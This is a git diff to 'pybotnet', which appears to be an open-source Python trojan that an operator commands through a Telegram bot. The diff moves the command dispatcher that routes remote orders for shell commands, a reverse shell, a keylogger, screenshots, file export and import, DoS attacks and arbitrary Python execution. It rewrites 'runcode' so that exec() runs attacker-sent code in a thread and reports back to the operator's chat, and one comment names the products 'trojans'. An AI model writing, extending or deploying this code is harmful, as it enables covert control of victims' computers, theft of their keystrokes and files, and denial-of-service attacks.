diff --git a/configs.py.sample b/configs.py.sample index afad0c3..dc5c61a 100644 --- a/configs.py.sample +++ b/configs.py.sample @@ -1,4 +1,3 @@ - # TODO: # ? rename this file to config.py # ? change TELEGRAM_TOKEN and ADMIN_CHAT_ID to valid data @@ -6,5 +5,5 @@ # telegram api token (Get it from the telegram @botfather) TELEGRAM_TOKEN = '1468299547:AAHsvEH-5VyIfWYMzZcYxF_e00000000000' -# telegram account number ID (get it from @userinfobot) +# telegram account number ID (Get it from @userinfobot) ADMIN_CHAT_ID = '12345678910' diff --git a/pybotnet/scripts.py b/pybotnet/scripts.py index 1215224..11fd250 100644 --- a/pybotnet/scripts.py +++ b/pybotnet/scripts.py @@ -59,6 +59,74 @@ "runcode": "`runcode ` Will run given python code. This function cant return values.", } +def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str, + TELEGRAM_TOKEN: str, previous_update_id: List[int], logger): + command_name = get_command_name(command) + try: + if is_command(command): + + if command_name == MAC_ADDRES: + '''run command just on this system''' + logger.info('delete mac addres and run command ') + new_command = ' '.join(split_command(command)[1:]) + return execute_scripts( + new_command, pybotnet_up_time, + ADMIN_CHAT_ID, TELEGRAM_TOKEN, + previous_update_id, logger) + + elif command_name == 'do_sleep': + return execute_do_sleep(command, logger) + + elif command_name in ['get_info', 'info']: + return get_info(pybotnet_up_time, logger) + + elif command_name == 'cmd': + return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True) + + elif command_name == 'ls': + return execute_ls(command, logger) + + elif command_name == 'cd': + return execute_cd(command, logger) + + elif command_name == 'export_file': + return execute_download_manager(command, logger) + + elif command_name == 'import_file': + return execute_upload_manager(command, logger) + + elif command_name == 'screenshot': + return screenshot(logger) + + elif command_name in ['help', '/start']: + return command_help(logger) + + elif command_name in ['reverse_shell']: + return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger) + + elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']: + return keylogger(logger, command) + + elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]: + return scheduler_script(logger, command) + + elif command_name == "playsound": + return playsound_pybotnet(logger, command) + + elif command_name == "openurl": + return openurl(logger, command) + + elif command_name == "dos": + return dos(logger, command) + + elif command_name == "runcode": + return runcode(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger, command) + logger.error('execute_scripts invalid command; Wrong format') + return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}" + + except Exception as error: + return f'execute_scripts error: {error}' + def split_command(command: str) -> list: '''split string by space''' @@ -251,7 +319,7 @@ def cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread): def execute_cmd(command: str, ADMIN_CHAT_ID: str, TELEGRAM_TOKEN: str, logger, withThread=False) -> str: # Removed Is Shell - # For what is for reverse shell + #With Thread is for reverse Shell only try: command = split_command(command) if command[0] == 'cmd': @@ -537,16 +605,26 @@ def dos(logger, command): logger.error("Something Failed. Maybe The Servers Are Down !") return "Something Failed. Maybe The Servers Are Down !" - -def runcode(logger, command): +def exec_runner(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger,command): + def send_message(text: str): + util.send_message_by_third_party_proxy( + text, TELEGRAM_TOKEN=TELEGRAM_TOKEN, + ADMIN_CHAT_ID=ADMIN_CHAT_ID, logger=logger) code = ' '.join(split_command(command)[1:]) logger.info(f"Trying to run {code}") try: + sleep(5) # So that the runcode message deliver first. exec(command) - return "ِDone" + send_message("Executed Successfully") except Exception as error: logger.error(f"Something failed while trying to run code. {error}") - return f"Something failed while trying to run code. {error}" + send_message(f"Something failed while trying to run code. {error}") + +def runcode(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger, command): + logger.info(f"Trying to run {command}") + t1 = threading.Thread(target=exec_runner,args=(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger,command)) + t1.start() + return "Running The given code , the results will not be returned but you will get a message informing you that the code has finished." def command_help(logger): @@ -571,70 +649,3 @@ def command_help(logger): for more help, see: {settings.pybotnet_github_link}''' -def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str, - TELEGRAM_TOKEN: str, previous_update_id: List[int], logger): - command_name = get_command_name(command) - try: - if is_command(command): - - if command_name == MAC_ADDRES: - '''run command just on this system''' - logger.info('delete mac addres and run command ') - new_command = ' '.join(split_command(command)[1:]) - return execute_scripts( - new_command, pybotnet_up_time, - ADMIN_CHAT_ID, TELEGRAM_TOKEN, - previous_update_id, logger) - - elif command_name == 'do_sleep': - return execute_do_sleep(command, logger) - - elif command_name in ['get_info', 'info']: - return get_info(pybotnet_up_time, logger) - - elif command_name == 'cmd': - return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True) - - elif command_name == 'ls': - return execute_ls(command, logger) - - elif command_name == 'cd': - return execute_cd(command, logger) - - elif command_name == 'export_file': - return execute_download_manager(command, logger) - - elif command_name == 'import_file': - return execute_upload_manager(command, logger) - - elif command_name == 'screenshot': - return screenshot(logger) - - elif command_name in ['help', '/start']: - return command_help(logger) - - elif command_name in ['reverse_shell']: - return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger) - - elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']: - return keylogger(logger, command) - - elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]: - return scheduler_script(logger, command) - - elif command_name == "playsound": - return playsound_pybotnet(logger, command) - - elif command_name == "openurl": - return openurl(logger, command) - - elif command_name == "dos": - return dos(logger, command) - - elif command_name == "runcode": - return runcode(logger, command) - logger.error('execute_scripts invalid command; Wrong format') - return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}" - - except Exception as error: - return f'execute_scripts error: {error}' diff --git a/simple_code.py b/simple_code.py index 6d34752..239ab0b 100644 --- a/simple_code.py +++ b/simple_code.py @@ -5,7 +5,6 @@ # ! rename configs.py.sample to configs.py # ! and edit configs.py data from configs import TELEGRAM_TOKEN, ADMIN_CHAT_ID -# is_shell has already been removed since version 1.0.0 , please consider updating if your trojans made by pybotnet still have this. # * show_log: just for debugging # * send_system_data: send system short info in bot messages